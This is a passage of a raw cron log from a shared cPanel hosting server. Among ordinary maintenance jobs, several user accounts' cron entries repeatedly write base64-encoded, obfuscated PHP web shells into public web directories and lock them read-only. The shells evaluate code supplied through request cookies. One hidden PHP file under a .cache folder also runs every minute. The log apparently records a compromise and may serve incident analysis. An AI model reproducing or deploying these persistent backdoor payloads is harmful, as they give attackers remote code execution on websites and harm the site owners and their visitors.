yi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:48:01 medusa CROND[13491]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:48:01 medusa CROND[13494]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:48:01 medusa CROND[13497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:48:01 medusa CROND[13493]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:48:01 medusa CROND[13500]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:48:01 medusa CROND[13498]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:48:01 medusa CROND[13501]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:48:01 medusa CROND[13502]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:49:02 medusa CROND[30859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:49:02 medusa CROND[30860]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:49:02 medusa CROND[30861]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:49:02 medusa CROND[30862]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:49:02 medusa CROND[30863]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:49:02 medusa CROND[30866]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:49:02 medusa CROND[30867]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:49:02 medusa CROND[30865]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 11:49:02 medusa CROND[30864]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:49:02 medusa CROND[30868]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:49:02 medusa CROND[30872]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:49:02 medusa CROND[30874]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:50:01 medusa CROND[16767]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 11:50:01 medusa CROND[16766]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 11:50:01 medusa CROND[17144]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:50:01 medusa CROND[17146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:50:01 medusa CROND[17147]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 11:50:01 medusa CROND[17149]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 11:50:01 medusa CROND[17154]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 11:50:01 medusa CROND[17155]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 11:50:01 medusa CROND[17156]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 11:50:01 medusa CROND[17159]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 11:50:01 medusa CROND[17182]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:50:01 medusa CROND[17181]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 11:50:01 medusa CROND[17186]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:50:01 medusa CROND[17187]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
